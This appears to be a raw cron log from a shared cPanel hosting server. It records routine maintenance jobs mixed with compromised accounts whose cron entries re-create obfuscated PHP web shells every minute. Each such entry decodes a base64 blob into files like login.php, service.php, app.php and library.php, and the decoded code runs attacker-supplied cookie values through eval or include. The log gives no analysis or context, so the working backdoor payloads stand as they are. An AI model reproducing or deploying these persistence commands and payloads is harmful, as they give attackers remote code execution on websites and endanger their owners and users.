444 "$fp")
Mar  1 07:25:01 medusa CROND[4317]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:25:01 medusa CROND[4318]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:25:01 medusa CROND[4319]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:25:01 medusa CROND[4325]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:25:01 medusa CROND[4313]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:25:01 medusa CROND[4315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:25:01 medusa CROND[4328]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:25:01 medusa CROND[4330]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:25:01 medusa CROND[4324]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:25:01 medusa CROND[4314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:25:01 medusa CROND[4329]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:26:02 medusa CROND[10030]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:26:02 medusa CROND[10075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:26:02 medusa CROND[10115]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:26:02 medusa CROND[10116]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:26:02 medusa CROND[10117]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:26:02 medusa CROND[10119]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:26:02 medusa CROND[10122]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:26:02 medusa CROND[10118]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:26:02 medusa CROND[10120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:26:02 medusa CROND[10126]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:26:02 medusa CROND[10127]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:26:02 medusa CROND[10128]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:26:02 medusa CROND[10131]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:26:02 medusa CROND[10143]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:27:01 medusa CROND[11043]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:27:01 medusa CROND[11126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:27:01 medusa CROND[11260]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:27:01 medusa CROND[11262]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:27:01 medusa CROND[11263]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:27:01 medusa CROND[11264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:27:01 medusa CROND[11265]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:27:01 medusa CROND[11266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:27:01 medusa CROND[11269]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
